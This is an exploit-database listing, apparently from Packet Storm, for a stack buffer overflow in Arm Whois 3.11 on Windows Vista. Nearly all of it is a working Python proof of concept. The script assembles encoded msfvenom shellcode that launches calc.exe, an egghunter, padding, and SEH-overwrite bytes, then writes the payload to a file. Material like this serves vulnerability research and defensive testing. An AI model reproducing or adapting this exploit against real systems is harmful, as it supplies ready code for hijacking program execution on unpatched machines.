Arm Whois 3.11 Buffer Overflow

2018-11-26T00:00:00
ID PACKETSTORM:150462
Type packetstorm
Reporter zephyr
Modified 2018-11-26T00:00:00

Description

                                        
                                            `# Exploit Title: Arm Whois 3.11 - Buffer Overflow (ASLR)  
# Google Dork: [if applicable]  
# Date: 23/11/2018  
# Exploit Author: zephyr  
# Vendor Homepage: http://www.armcode.com  
# Software Link: http://www.armcode.com/downloads/arm-whois.exe  
# Version: 3.11  
# Tested on: Windows Vista Ultimate SP1 x86 unpatched  
# CVE :   
  
# nSEH @ 672 on Windows Vista Ultimate SP1 unpatched  
# msfvenom -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -a x86 --platform windows  
nops = "\x90"*20  
buf = "w00tw00t" + nops + ("\xba\x0e\xc3\xc8\xe6\xdd\xc4\xd9\x74\x24\xf4\x5e\x29"  
"\xc9\xb1\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\x01\x21"  
"\x3d\x1a\xf5\x27\xbe\xe3\x05\x48\x36\x06\x34\x48\x2c"  
"\x42\x66\x78\x26\x06\x8a\xf3\x6a\xb3\x19\x71\xa3\xb4"  
"\xaa\x3c\x95\xfb\x2b\x6c\xe5\x9a\xaf\x6f\x3a\x7d\x8e"  
"\xbf\x4f\x7c\xd7\xa2\xa2\x2c\x80\xa9\x11\xc1\xa5\xe4"  
"\xa9\x6a\xf5\xe9\xa9\x8f\x4d\x0b\x9b\x01\xc6\x52\x3b"  
"\xa3\x0b\xef\x72\xbb\x48\xca\xcd\x30\xba\xa0\xcf\x90"  
"\xf3\x49\x63\xdd\x3c\xb8\x7d\x19\xfa\x23\x08\x53\xf9"  
"\xde\x0b\xa0\x80\x04\x99\x33\x22\xce\x39\x98\xd3\x03"  
"\xdf\x6b\xdf\xe8\xab\x34\xc3\xef\x78\x4f\xff\x64\x7f"  
"\x80\x76\x3e\xa4\x04\xd3\xe4\xc5\x1d\xb9\x4b\xf9\x7e"  
"\x62\x33\x5f\xf4\x8e\x20\xd2\x57\xc4\xb7\x60\xe2\xaa"  
"\xb8\x7a\xed\x9a\xd0\x4b\x66\x75\xa6\x53\xad\x32\x02"  
"\x6e\xac\x19\x3b\xd7\xa4\x1c\x26\xe8\x12\x62\x5f\x6b"  
"\x97\x1a\xa4\x73\xd2\x1f\xe0\x33\x0e\x6d\x79\xd6\x30"  
"\xc2\x7a\xf3\x52\x85\xe8\x9f\xba\x20\x89\x3a\xc3")  
  
egghunter = nops + ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") + "\x90"*15  
junk = "A"*(672-len(buf+egghunter))  
nseh = "\xeb\xc7\x90\x90"  
seh = "\x57\x22\x41"  
  
payload = junk + buf + egghunter + nseh + seh  
  
f = open("tmp.txt", 'wb')  
f.write(payload)  
f.close()  
print len(payload)  
  
`